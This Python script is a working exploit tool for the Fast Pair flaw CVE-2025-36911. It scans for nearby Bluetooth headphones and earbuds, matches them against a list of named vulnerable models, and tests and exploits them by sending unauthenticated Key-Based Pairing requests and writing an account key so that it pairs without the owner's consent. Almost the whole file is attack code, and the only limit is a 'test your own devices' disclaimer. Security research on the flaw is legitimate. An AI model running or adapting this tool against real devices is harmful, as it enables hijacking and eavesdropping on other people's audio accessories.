fastpair_exploit.py

#!/usr/bin/env python3
"""
Fast Pair CVE-2025-36911 Vulnerability Tester & Exploit
=======================================================

Python port of the WhisperPair Android app for security research.
Tests Fast Pair devices for the vulnerability that allows pairing without user consent.

Based on research by KU Leuven (COSIC & DistriNet groups).
https://whisperpair.eu/

FOR SECURITY RESEARCH AND TESTING ON YOUR OWN DEVICES ONLY.

Requirements:
    pip install bleak

Usage:
    python fastpair_exploit.py scan              # Scan for Fast Pair devices
    python fastpair_exploit.py scan --all        # Scan all BLE devices  
    python fastpair_exploit.py scan -d 30        # Scan for 30 seconds
    python fastpair_exploit.py test <address>    # Test if device is vulnerable
    python fastpair_exploit.py exploit <address> # Attempt full exploit chain
    python fastpair_exploit.py list              # List known vulnerable devices
"""

import asyncio
import argparse
import sys
from dataclasses import dataclass, field
from enum import Enum
from typing import Optional, Callable, Dict, List
from datetime import datetime
import secrets

try:
    from bleak import BleakClient, BleakScanner
    from bleak.exc import BleakError
except ImportError:
    print("Error: bleak library not found")
    print("Install with: pip install bleak")
    sys.exit(1)


# =============================================================================
# Constants
# =============================================================================

FAST_PAIR_SERVICE_UUID = "0000fe2c-0000-1000-8000-00805f9b34fb"
MODEL_ID_UUID = "fe2c1233-8366-4814-8eb0-01de32100bea"
KEY_BASED_PAIRING_UUID = "fe2c1234-8366-4814-8eb0-01de32100bea"
PASSKEY_UUID = "fe2c1235-8366-4814-8eb0-01de32100bea"
ACCOUNT_KEY_UUID = "fe2c1236-8366-4814-8eb0-01de32100bea"

MSG_KEY_BASED_PAIRING_REQUEST = 0x00
MSG_KEY_BASED_PAIRING_RESPONSE = 0x01

CONNECTION_TIMEOUT = 15.0
SCAN_DURATION = 10.0


# =============================================================================
# ANSI Colors
# =============================================================================

class Color:
    RED = "\033[91m"
    GREEN = "\033[92m"
    YELLOW = "\033[93m"
    BLUE = "\033[94m"
    CYAN = "\033[96m"
    WHITE = "\033[97m"
    BOLD = "\033[1m"
    DIM = "\033[2m"
    RESET = "\033[0m"

def colored(text: str, color: str) -> str:
    return f"{color}{text}{Color.RESET}"

def print_colored(text: str, color: str = Color.WHITE):
    print(colored(text, color))


# =============================================================================
# Known Devices Database (from whisperpair.eu)
# =============================================================================

@dataclass
class DeviceInfo:
    name: str
    manufacturer: str
    vulnerable: bool
    category: str = "unknown"
    update_method: str = ""

KNOWN_DEVICES: Dict[str, DeviceInfo] = {
    # === VULNERABLE DEVICES ===
    
    # Sony - ALL CONFIRMED VULNERABLE
    "2D7A9F": DeviceInfo("WH-1000XM6", "Sony", True, "headphones", "Sony Sound Connect app"),
    "17535E": DeviceInfo("WH-1000XM5", "Sony", True, "headphones", "Sony Sound Connect app"),
    "0CD417": DeviceInfo("WH-1000XM4", "Sony", True, "headphones", "Sony Sound Connect app"),
    "1EC8B8": DeviceInfo("WF-1000XM5", "Sony", True, "earbuds", "Sony Sound Connect app"),
    "CD8256": DeviceInfo("WF-1000XM4", "Sony", True, "earbuds", "Sony Sound Connect app"),
    "0E30C3": DeviceInfo("WH-1000XM5 (alt)", "Sony", True, "headphones"),
    "D5BC6B": DeviceInfo("WH-1000XM6 (alt)", "Sony", True, "headphones"),
    "821F66": DeviceInfo("LinkBuds S", "Sony", True, "earbuds"),
    
    # Google
    "30018E": DeviceInfo("Pixel Buds Pro 2", "Google", True, "earbuds", "Pixel Buds app"),
    
    # JBL / Harman  
    "0001F0": DeviceInfo("JBL TUNE BEAM", "Harman/JBL", True, "earbuds", "JBL Headphones app"),
    "F52494": DeviceInfo("JBL Tune Buds", "Harman/JBL", True, "earbuds"),
    "718FA4": DeviceInfo("JBL Live Pro 2", "Harman/JBL", True, "earbuds"),
    "D446A7": DeviceInfo("JBL Tune Beam (alt)", "Harman/JBL", True, "earbuds"),
    
    # Jabra
    "0F0CD0": DeviceInfo("Jabra Elite 8 Active", "Jabra", True, "earbuds", "Jabra Sound+ app"),
    "D446F9": DeviceInfo("Jabra Elite 8 Active (alt)", "Jabra", True, "earbuds"),
    
    # Anker / Soundcore
    "0005C0": DeviceInfo("Soundcore Liberty 4 NC", "Anker", True, "earbuds", "Soundcore app"),
    "9D3F8A": DeviceInfo("Soundcore Liberty 4", "Anker", True, "earbuds"),
    "F0B77F": DeviceInfo("Soundcore Liberty 4 NC (alt)", "Anker", True, "earbuds"),
    
    # Nothing
    "D0A72C": DeviceInfo("Nothing Ear (a)", "Nothing", True, "earbuds", "Nothing X app"),
    
    # OnePlus
    "D97EBA": DeviceInfo("OnePlus Nord Buds 3 Pro", "OnePlus", True, "earbuds", "HeyMelody app"),
    
    # Xiaomi
    "AE3989": DeviceInfo("Redmi Buds 5 Pro", "Xiaomi", True, "earbuds", "Xiaomi Earbuds app"),
    
    # === NOT VULNERABLE ===
    "0082DA": DeviceInfo("Galaxy Buds2 Pro", "Samsung", False, "earbuds"),
    "00FA72": DeviceInfo("Galaxy Buds FE", "Samsung", False, "earbuds"),
    "F00002": DeviceInfo("QuietComfort Earbuds II", "Bose", False, "earbuds"),
    "000006": DeviceInfo("Beats Solo Buds", "Apple/Beats", False, "earbuds"),
}


# =============================================================================
# Data Classes
# =============================================================================

class DeviceStatus(Enum):
    NOT_TESTED = "not_tested"
    TESTING = "testing"  
    VULNERABLE = "vulnerable"
    PATCHED = "patched"
    ERROR = "error"


class ExploitStrategy(Enum):
    RAW_KBP = "raw_kbp"
    RAW_WITH_SEEKER = "raw_with_seeker"
    RETROACTIVE = "retroactive"
    EXTENDED_RESPONSE = "extended_response"


@dataclass
class FastPairDevice:
    address: str
    name: Optional[str]
    rssi: int
    model_id: Optional[str] = None
    is_pairing_mode: bool = False
    has_account_key_filter: bool = False
    is_fast_pair: bool = True
    status: DeviceStatus = DeviceStatus.NOT_TESTED
    first_seen: datetime = field(default_factory=datetime.now)
    last_seen: datetime = field(default_factory=datetime.now)
    
    @property
    def display_name(self) -> str:
        if self.name:
            return self.name
        if self.model_id:
            model_upper = self.model_id.upper().lstrip("0X")
            for key in KNOWN_DEVICES:
                if key.upper() == model_upper or key.upper().lstrip("0") == model_upper.lstrip("0"):
                    return KNOWN_DEVICES[key].name
        return "Unknown Fast Pair Device" if self.is_fast_pair else "BLE Device"

    @property
    def device_info(self) -> Optional[DeviceInfo]:
        if self.model_id:
            model_upper = self.model_id.upper().lstrip("0X")
            if model_upper in KNOWN_DEVICES:
                return KNOWN_DEVICES[model_upper]
            for key, info in KNOWN_DEVICES.items():
                if key.lstrip("0") == model_upper.lstrip("0"):
                    return info
        return None

    @property
    def manufacturer(self) -> Optional[str]:
        info = self.device_info
        return info.manufacturer if info else None

    @property
    def known_vulnerable(self) -> Optional[bool]:
        info = self.device_info
        return info.vulnerable if info else None

    @property 
    def signal_strength(self) -> str:
        if self.rssi >= -50: return "Excellent"
        elif self.rssi >= -60: return "Good"
        elif self.rssi >= -70: return "Fair"
        elif self.rssi >= -80: return "Weak"
        return "Very Weak"


@dataclass
class ExploitResult:
    success: bool
    br_edr_address: Optional[str] = None
    message: str = ""
    paired: bool = False
    account_key_written: bool = False


# =============================================================================
# Utilities
# =============================================================================

def address_to_bytes(address: str) -> bytes:
    return bytes(int(b, 16) for b in address.split(":"))

def bytes_to_address(data: bytes) -> str:
    return ":".join(f"{b:02X}" for b in data)

def is_valid_address(address: str) -> bool:
    try:
        parts = address.split(":")
        return len(parts) == 6 and all(len(p) == 2 for p in parts)
    except:
        return False

def is_null_address(address: str) -> bool:
    return address.upper() in ("00:00:00:00:00:00", "FF:FF:FF:FF:FF:FF")

def parse_fast_pair_ad(address: str, name: Optional[str], service_data: bytes, rssi: int) -> FastPairDevice:
    model_id = None
    is_pairing_mode = False
    has_account_key_filter = False

    if service_data:
        first_byte = service_data[0]
        if len(service_data) == 3 and (first_byte & 0x80) == 0:
            model_id = service_data.hex().upper()
            is_pairing_mode = True
        elif (first_byte & 0x60) != 0:
            has_account_key_filter = True
        elif len(service_data) > 3 and (first_byte & 0x80) == 0:
            model_id = service_data[:3].hex().upper()

    return FastPairDevice(
        address=address, name=name, rssi=rssi, model_id=model_id,
        is_pairing_mode=is_pairing_mode, has_account_key_filter=has_account_key_filter
    )


# =============================================================================
# Scanner
# =============================================================================

class FastPairScanner:
    def __init__(self):
        self.devices: Dict[str, FastPairDevice] = {}

    async def scan(self, duration: float = SCAN_DURATION, scan_all: bool = False) -> List[FastPairDevice]:
        self.devices.clear()
        seen = set()

        async def on_detect(device, ad_data):
            service_data = ad_data.service_data.get(FAST_PAIR_SERVICE_UUID)
            
            fp_device = None
            if service_data is not None:
                fp_device = parse_fast_pair_ad(device.address, device.name, service_data, ad_data.rssi)
            elif scan_all:
                fp_device = FastPairDevice(device.address, device.name, ad_data.rssi, is_fast_pair=False)
            
            if fp_device:
                is_new = device.address not in seen
                seen.add(device.address)
                
                if device.address in self.devices:
                    existing = self.devices[device.address]
                    existing.rssi = ad_data.rssi
                    existing.last_seen = datetime.now()
                    if fp_device.name and not existing.name:
                        existing.name = fp_device.name
                    if fp_device.model_id and not existing.model_id:
                        existing.model_id = fp_device.model_id
                else:
                    self.devices[device.address] = fp_device
                
                if is_new:
                    self._print_device(fp_device)

        scanner = BleakScanner(detection_callback=on_detect)
        
        mode = "all BLE" if scan_all else "Fast Pair"
        print_colored(f"\n📡 Scanning for {mode} devices ({duration}s)...\n", Color.CYAN)
        
        await scanner.start()
        await asyncio.sleep(duration)
        await scanner.stop()

        return list(self.devices.values())

    def _print_device(self, device: FastPairDevice):
        vuln = device.known_vulnerable
        if vuln is True:
            status = colored("⚠️  KNOWN VULNERABLE", Color.RED + Color.BOLD)
        elif vuln is False:
            status = colored("✓ Likely Safe", Color.GREEN)
        else:
            status = colored("? Unknown", Color.DIM)
        
        mode = colored("PAIRING", Color.GREEN + Color.BOLD) if device.is_pairing_mode else colored("idle", Color.DIM)
        
        name = device.display_name
        if device.manufacturer and device.manufacturer not in name:
            name = f"{device.manufacturer} {name}"
        
        print(f"  {colored('●', Color.CYAN)} {colored(name, Color.WHITE + Color.BOLD)}")
        print(f"    Address: {colored(device.address, Color.YELLOW)}  RSSI: {device.rssi} dBm")
        print(f"    Mode: {mode}  |  {status}")
        if device.model_id:
            print(f"    Model ID: {device.model_id}")
        print()


# =============================================================================
# Tester
# =============================================================================

class VulnerabilityTester:
    def __init__(self):
        self.shared_secret: Optional[bytes] = None

    def build_request(self, address: str) -> bytes:
        addr_bytes = address_to_bytes(address)
        salt = secrets.token_bytes(8)
        self.shared_secret = salt + bytes(8)
        return bytes([MSG_KEY_BASED_PAIRING_REQUEST, 0x11]) + addr_bytes + salt

    async def test(self, address: str) -> DeviceStatus:
        def log(msg): print(f"  {colored('→', Color.CYAN)} {msg}")

        log("Connecting...")
        try:
            async with BleakClient(address, timeout=CONNECTION_TIMEOUT) as client:
                log("Connected, stabilizing...")
                await asyncio.sleep(1.0)
                log("Discovering services...")

                fp_service = next((s for s in client.services if s.uuid.lower() == FAST_PAIR_SERVICE_UUID.lower()), None)
                if not fp_service:
                    log(colored("Fast Pair service not found!", Color.RED))
                    return DeviceStatus.ERROR

                log(colored("Fast Pair service found!", Color.GREEN))

                kbp_char = next((c for c in fp_service.characteristics if c.uuid.lower() == KEY_BASED_PAIRING_UUID.lower()), None)
                if not kbp_char:
                    log(colored("KBP characteristic not found!", Color.RED))
                    return DeviceStatus.ERROR

                try:
                    await client.start_notify(kbp_char, lambda s, d: None)
                    log("Notifications enabled")
                    await asyncio.sleep(0.3)
                except:
                    pass

                request = self.build_request(address)
                log(f"Sending KBP request ({len(request)} bytes)...")

                for attempt in range(4):
                    try:
                        if attempt > 0:
                            log(f"Retry {attempt + 1}...")
                            await asyncio.sleep(0.5)
                        
                        await client.write_gatt_char(kbp_char, request, response=(attempt % 2 == 0))
                        log(colored("KBP ACCEPTED - Device is VULNERABLE!", Color.RED + Color.BOLD))
                        return DeviceStatus.VULNERABLE
                        
                    except BleakError as e:
                        if any(x in str(e).lower() for x in ["not permitted", "rejected", "authorization", "0x0e"]):
                            log(colored("KBP REJECTED - Device is PATCHED", Color.GREEN))
                            return DeviceStatus.PATCHED
                        continue
                    except Exception as e:
                        if "canceled" in str(e).lower() or "not connected" in str(e).lower():
                            continue
                        continue
                
                log(colored("Device disconnected on write - likely PATCHED", Color.GREEN))
                return DeviceStatus.PATCHED

        except asyncio.TimeoutError:
            log(colored("Connection timeout!", Color.YELLOW))
            return DeviceStatus.ERROR
        except Exception as e:
            log(colored(f"Error: {e}", Color.YELLOW))
            return DeviceStatus.ERROR


# =============================================================================
# Exploit
# =============================================================================

class FastPairExploit:
    def __init__(self):
        self.shared_secret: Optional[bytes] = None

    def build_request(self, address: str, strategy: ExploitStrategy) -> bytes:
        addr_bytes = address_to_bytes(address)
        
        if strategy == ExploitStrategy.RAW_KBP:
            salt = secrets.token_bytes(8)
            self.shared_secret = salt + bytes(8)
            return bytes([MSG_KEY_BASED_PAIRING_REQUEST, 0x11]) + addr_bytes + salt
        elif strategy == ExploitStrategy.RAW_WITH_SEEKER:
            salt = secrets.token_bytes(2)
            self.shared_secret = secrets.token_bytes(16)
            return bytes([MSG_KEY_BASED_PAIRING_REQUEST, 0x02]) + addr_bytes + bytes(6) + salt
        elif strategy == ExploitStrategy.RETROACTIVE:
            salt = secrets.token_bytes(2)
            self.shared_secret = secrets.token_bytes(16)
            return bytes([MSG_KEY_BASED_PAIRING_REQUEST, 0x0A]) + addr_bytes + bytes(6) + salt
        else:
            salt = secrets.token_bytes(8)
            self.shared_secret = salt + bytes(8)
            return bytes([MSG_KEY_BASED_PAIRING_REQUEST, 0x10]) + addr_bytes + salt

    def parse_response(self, data: bytes) -> Optional[str]:
        if len(data) < 7:
            return None
        if data[0] in (MSG_KEY_BASED_PAIRING_RESPONSE, 0x01):
            addr = bytes_to_address(data[1:7])
            if is_valid_address(addr) and not is_null_address(addr):
                return addr
        for i in range(len(data) - 5):
            addr = bytes_to_address(data[i:i+6])
            if is_valid_address(addr) and not is_null_address(addr):
                return addr
        return None

    async def exploit(self, address: str) -> ExploitResult:
        def log(msg): print(f"  {colored('→', Color.YELLOW)} {msg}")

        for strategy in ExploitStrategy:
            log(f"Strategy: {strategy.value}")
            try:
                async with BleakClient(address, timeout=CONNECTION_TIMEOUT) as client:
                    log("Connected!")
                    await asyncio.sleep(1.0)

                    fp_service = next((s for s in client.services if s.uuid.lower() == FAST_PAIR_SERVICE_UUID.lower()), None)
                    if not fp_service:
                        continue

                    kbp_char = next((c for c in fp_service.characteristics if c.uuid.lower() == KEY_BASED_PAIRING_UUID.lower()), None)
                    acct_char = next((c for c in fp_service.characteristics if c.uuid.lower() == ACCOUNT_KEY_UUID.lower()), None)
                    
                    if not kbp_char:
                        continue

                    response_data = []
                    try:
                        await client.start_notify(kbp_char, lambda s, d: response_data.append(d))
                    except:
                        pass

                    request = self.build_request(address, strategy)
                    log(f"Sending KBP ({strategy.value})...")

                    try:
                        await client.write_gatt_char(kbp_char, request, response=True)
                        log(colored("KBP ACCEPTED!", Color.RED + Color.BOLD))
                    except:
                        continue

                    await asyncio.sleep(2.0)

                    br_edr = None
                    if response_data:
                        br_edr = self.parse_response(response_data[0])
                        if br_edr:
                            log(f"BR/EDR: {br_edr}")
                    
                    if not br_edr:
                        br_edr = address

                    acct_written = False
                    if acct_char:
                        try:
                            key = bytes([0x04]) + secrets.token_bytes(15)
                            await client.write_gatt_char(acct_char, key, response=True)
                            log(colored("Account key written!", Color.GREEN))
                            acct_written = True
                        except:
                            pass

                    return ExploitResult(True, br_edr, "Success!", True, acct_written)

            except Exception as e:
                log(f"Failed: {e}")
                continue

        return ExploitResult(False, message="All strategies failed")


# =============================================================================
# CLI
# =============================================================================

async def cmd_scan(args):
    scanner = FastPairScanner()
    devices = await scanner.scan(args.duration, args.all)

    print_colored("─" * 50, Color.DIM)
    print_colored(f"\n📊 Found {len(devices)} device(s)\n", Color.CYAN)

    vulnerable = [d for d in devices if d.known_vulnerable is True]
    if vulnerable:
        print_colored(f"⚠️  {len(vulnerable)} KNOWN VULNERABLE:", Color.RED)
        for d in vulnerable:
            print(f"   • {d.display_name} ({d.address})")
        print()

    print_colored("To test: python fastpair_exploit.py test <ADDRESS>", Color.CYAN)


async def cmd_test(args):
    address = args.address.upper()
    if not is_valid_address(address):
        print_colored(f"Invalid address: {address}", Color.RED)
        return

    print_colored(f"\n🔍 Testing {address}...\n", Color.CYAN)
    
    tester = VulnerabilityTester()
    status = await tester.test(address)

    print()
    if status == DeviceStatus.VULNERABLE:
        print_colored("╔════════════════════════════════════════╗", Color.RED)
        print_colored("║  ⚠️  DEVICE IS VULNERABLE!              ║", Color.RED)
        print_colored("║  Run 'exploit' to attempt full chain   ║", Color.RED)
        print_colored("╚════════════════════════════════════════╝", Color.RED)
    elif status == DeviceStatus.PATCHED:
        print_colored("╔════════════════════════════════════════╗", Color.GREEN)
        print_colored("║  ✓ DEVICE IS PATCHED                   ║", Color.GREEN)
        print_colored("╚════════════════════════════════════════╝", Color.GREEN)
    else:
        print_colored("╔════════════════════════════════════════╗", Color.YELLOW)
        print_colored("║  ❓ INCONCLUSIVE - Try again           ║", Color.YELLOW)
        print_colored("╚════════════════════════════════════════╝", Color.YELLOW)


async def cmd_exploit(args):
    address = args.address.upper()
    if not is_valid_address(address):
        print_colored(f"Invalid address: {address}", Color.RED)
        return

    print_colored(f"\n🎯 Exploiting {address}...\n", Color.CYAN)
    print_colored("⚠️  Only test devices you own!\n", Color.RED)

    exploit = FastPairExploit()
    result = await exploit.exploit(address)

    print()
    if result.success:
        print_colored("╔════════════════════════════════════════╗", Color.GREEN)
        print_colored("║  ✓ EXPLOIT SUCCESSFUL!                 ║", Color.GREEN)
        print_colored(f"║  BR/EDR: {result.br_edr_address or 'N/A':28} ║", Color.GREEN)
        print_colored(f"║  Account Key: {'Yes' if result.account_key_written else 'No':24} ║", Color.GREEN)
        print_colored("╚════════════════════════════════════════╝", Color.GREEN)
    else:
        print_colored("╔════════════════════════════════════════╗", Color.RED)
        print_colored("║  ✗ EXPLOIT FAILED                      ║", Color.RED)
        print_colored("╚════════════════════════════════════════╝", Color.RED)


def cmd_list(args):
    print_colored("\n📋 Known Vulnerable Devices (CVE-2025-36911)\n", Color.CYAN)
    
    by_mfr = {}
    for mid, info in KNOWN_DEVICES.items():
        if info.vulnerable:
            by_mfr.setdefault(info.manufacturer, []).append((mid, info))
    
    for mfr in sorted(by_mfr):
        print_colored(f"  {mfr}:", Color.YELLOW + Color.BOLD)
        for mid, info in sorted(by_mfr[mfr], key=lambda x: x[1].name):
            upd = f" ({info.update_method})" if info.update_method else ""
            print(f"    • {info.name} [{mid}]{upd}")
        print()
    
    print_colored("  NOT Vulnerable:", Color.GREEN + Color.BOLD)
    for mid, info in KNOWN_DEVICES.items():
        if not info.vulnerable:
            print(f"    • {info.manufacturer} {info.name}")
    print()


def main():
    parser = argparse.ArgumentParser(description="Fast Pair CVE-2025-36911 Tester")
    sub = parser.add_subparsers(dest="cmd")

    p = sub.add_parser("scan")
    p.add_argument("-d", "--duration", type=float, default=10.0)
    p.add_argument("-a", "--all", action="store_true")

    p = sub.add_parser("test")
    p.add_argument("address")

    p = sub.add_parser("exploit")
    p.add_argument("address")

    sub.add_parser("list")

    args = parser.parse_args()

    print_colored("""
╔═══════════════════════════════════════════════════════════════╗
║  🎧 FastPair CVE-2025-36911 Tester                            ║
║     https://whisperpair.eu/                                   ║
║  ⚠️  FOR SECURITY RESEARCH ONLY                               ║
╚═══════════════════════════════════════════════════════════════╝
    """, Color.CYAN)

    if args.cmd == "scan":
        asyncio.run(cmd_scan(args))
    elif args.cmd == "test":
        asyncio.run(cmd_test(args))
    elif args.cmd == "exploit":
        asyncio.run(cmd_exploit(args))
    elif args.cmd == "list":
        cmd_list(args)
    else:
        parser.print_help()


if __name__ == "__main__":
    main()